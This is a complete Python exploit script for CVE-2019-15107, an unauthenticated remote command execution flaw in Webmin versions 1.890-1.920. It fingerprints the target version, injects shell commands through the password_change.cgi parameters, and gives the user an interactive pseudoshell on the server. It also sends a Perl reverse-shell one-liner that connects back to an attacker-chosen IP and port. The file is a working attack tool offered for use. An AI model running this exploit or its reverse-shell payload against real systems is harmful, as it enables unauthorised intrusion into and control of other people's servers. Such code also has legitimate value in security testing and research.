CVE-2019-15107.py

#!/usr/bin/env python3
#Webmin 1.890-1.920 RCE
#CVE-2019-15107
#Based on Metasploit Module (EDB ID: 47230)
#AG | MuirlandOracle
#11/20

#### Imports ####
import argparse, requests, sys, signal, random, string, socket
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from urllib3.exceptions import InsecureRequestWarning


#### Globals ####
class colours():
	red = "\033[91m"
	green = "\033[92m"
	blue = "\033[34m"
	orange = "\033[33m"
	purple = "\033[35m"
	end = "\033[0m"

		
banner = (f"""{colours.orange}
	__        __   _               _         ____   ____ _____ 
	\\ \\      / /__| |__  _ __ ___ (_)_ __   |  _ \\ / ___| ____|
	 \\ \\ /\\ / / _ \\ '_ \\| '_ ` _ \\| | '_ \\  | |_) | |   |  _|
	  \\ V  V /  __/ |_) | | | | | | | | | | |  _ <| |___| |___
	   \\_/\\_/ \\___|_.__/|_| |_| |_|_|_| |_| |_| \\_\\____|_____|

						{colours.purple}@MuirlandOracle

		{colours.end}""")



#### Ignore Unverified SSL certs ####
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

#### Handle Signals ####
def sigHandler(sig, frame):
	print(f"{colours.blue}\n[*] Exiting....{colours.end}\n")
	sys.exit(0)




#### Exploit Class ####
class Exploit():
	def __init__(self):
		self.endpoint = "password_change.cgi"		
		self.versions = ["1.890", "1.900", "1.910", "1.920"]
		#Start a session
		self.session = requests.Session()
		self.session.verify = False

	#### Colour Helpers ####
	def fail(self, reason, die=True):
		if not self.args.accessible:
			print(f"{colours.red}[-] {reason}{colours.end}")
		else:
			print(f"Failure: {reason}")
		if die:
			sys.exit(0)

	def success(self, text):
		if not self.args.accessible:
			print(f"{colours.green}[+] {text}{colours.end}")
		else:
			print(f"Success: {text}")

	def warn(self, text):
		if not self.args.accessible:
			print(f"{colours.orange}[*] {text}{colours.end}")
		else:
			print(f"Warning: {text}")

	def info(self, text):
		if not self.args.accessible:
			print(f"{colours.blue}[*] {text}{colours.end}")
		else:
			print(f"Info: {text}")



	#### Argument Parsing ####
	def parseArgs(self):
		parser = argparse.ArgumentParser(description="CVE-2019-15107 Webmin Unauthenticated RCE (1.890-1.920) Framework")
		parser.add_argument("target", help="The target IP or domain")
		parser.add_argument("-b", "--basedir", help="The base directory of webmin (default: /)", default="/")
		parser.add_argument("-s", "--ssl", help="Specify to use SSL", default="http://",  const="https://", action="store_const")
		parser.add_argument("-p", "--port", type=int, default=10000, help="The target port (default: 10000)")
		parser.add_argument("--accessible", default=False, action="store_true", help="Remove ascii art")
		parser.add_argument("--force", default=False, action="store_true", help="Force exploitation with no checks")
		args = parser.parse_args()

		#Validation
		args.basedir = f"/{args.basedir}" if (args.basedir[0] != "/") else f"{args.basedir}"
		if args.port not in range(1,65535):
			self.fail(f"Invalid Port: {args.port}")
		self.args = args


	#### Checks ####
	def checkConnect(self):
		target = f"{self.args.ssl}{self.args.target}:{self.args.port}{self.args.basedir}"
		try:
			r = self.session.get(target, timeout=5) 
		except requests.exceptions.SSLError:
			self.info("Server is running without SSL. Switching to HTTP")
			self.args.ssl = "http://"
			self.checkConnect()
			return
		except:
			self.fail(f"Failed to connect to {target}")
		if " SSL " in r.content.decode().upper():
			self.info("Server is running in SSL mode. Switching to HTTPS")
			self.args.ssl = "https://"
			self.checkConnect()
			return
		self.success(f"Connected to {target} successfully.")


	def checkVersion(self):
		target = f"{self.args.ssl}{self.args.target}:{self.args.port}{self.args.basedir}"
		r = self.session.get(target)
		try:
			version = r.headers["Server"].split("/")[1]
		except:
			self.fail("Couldn't find server version")
		if version not in self.versions:
			self.fail(f"Server version ({version}) not vulnerable.")
		else:
			self.success(f"Server version ({version}) should be vulnerable!")
			if version != self.versions[0]:
				self.warn("Server version relies on expired password changing feature being enabled")
	
	
	def checkVulnerable(self):
		testString = "".join(random.choices(string.ascii_letters + string.digits, k=8))
		check = self.exploitVuln(f"echo {testString}")
		if testString in check:
			self.success("Benign Payload executed!")
		elif "Password changing is not enabled" in check:
			self.fail("Password changing is disabled for this server")
		else:
			self.fail("Benign Payload failed to execute")

	def runChecks(self):
		self.checkConnect()
		self.checkVersion()
		self.checkVulnerable()

	#### Exploit ####
	def exploitVuln(self, command):
		def slash():
			return "/" if (self.args.basedir[-1] != "/") else ""
		target = f"{self.args.ssl}{self.args.target}:{self.args.port}{self.args.basedir}{slash()}{self.endpoint}"
		token = "".join(random.choices(string.ascii_letters + string.digits, k=8))
		headers = {
			"Referer":f"{self.args.ssl}{self.args.target}:{self.args.port}{self.args.basedir}"
		}
		params = {
			#Param for 1.890
			"expired":command,
			#Params for 1.900-1.920
			"new1":token,
			"new2":token,
			"old":command
		}
		try:
			r = self.session.post(target, data=params, headers=headers, timeout=5)
		except:
			return "Error"
		return(r.content.decode())
		

	def pseudoShell(self):
		print()
		if not self.args.force:
			self.success("The target is vulnerable and a pseudoshell has been obtained.\n"
						"Type commands to have them executed on the target.")
			self.info("Type 'exit' to exit.")
			self.info("Type 'shell' to obtain a full reverse shell (UNIX only).")
		else:
			self.warn("Warning: No checks have been carried out -- proceed with caution!")
		print()
		while True:
			try:
				command = prompt("# ", history=FileHistory("commands.txt"))
			except KeyboardInterrupt:
				self.info("Exiting...\n")
				sys.exit(0)		
			if command.lower() == "quit" or command.lower() == "exit":
				self.info("Exiting...\n")
				sys.exit(0)
			elif command.lower() == "shell":
				self.shell()
				continue
			elif len(command) == 0:
				continue
			results = self.exploitVuln(f"echo SPLIT; {command} 2>&1; echo SPLIT")
			if "SPLIT" in results:
				print(results.split("SPLIT")[1].strip())
			else:
				self.fail("Failed to execute command", False)
				if self.args.force:
					print("(This is why checks exist)")
			
	def shell(self):
		print()
		self.info("Starting the reverse shell process")
		self.warn("For UNIX targets only!")
		self.warn("Use 'exit' to return to the pseudoshell at any time")
		#Get IP
		while True:
			ip = input("Please enter the IP address for the shell: ")
			if ip.lower() == "exit":
				return
			try:
				socket.inet_aton(ip)
			except socket.error:
				self.fail("Invalid IP address\n", False)
				continue
			break

		#Get port
		while True:
			port = input("Please enter the port number for the shell: ")
			if port.lower() == "exit":
				return
			try:
				port = int(port)
				assert(port < 65535 and port >= 1)
			except:
				self.fail("Invalid port number\n", False)
				continue
			break

		#It's webmin, so perl must be installed
		shellcode = "perl -e 'use Socket;$i=\"" + ip + "\";$p=" + str(port) + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
		
		print()
		def sudoCheck():
			return "sudo" if (port < 1024) else ""
		self.warn(f"Start a netcat listener in a new window ({sudoCheck()}nc -lvnp {port}) then press enter.")
		input()
		self.exploitVuln(shellcode)
		self.success("You should now have a reverse shell on the target")
		self.warn("If this is not the case, please check your IP and chosen port\nIf these are correct then there is likely a firewall preventing the reverse connection. Try choosing a well-known port such as 443 or 53")
			
				
			


#### Run ####
if __name__ == "__main__":
	signal.signal(signal.SIGINT, sigHandler)
	exploit = Exploit()
	exploit.parseArgs()
	if not exploit.args.accessible:
		print(banner)
	else:
		print("Webmin RCE Exploit, code written by @MuirlandOracle")
	if not exploit.args.force:
		exploit.runChecks()
	exploit.pseudoShell()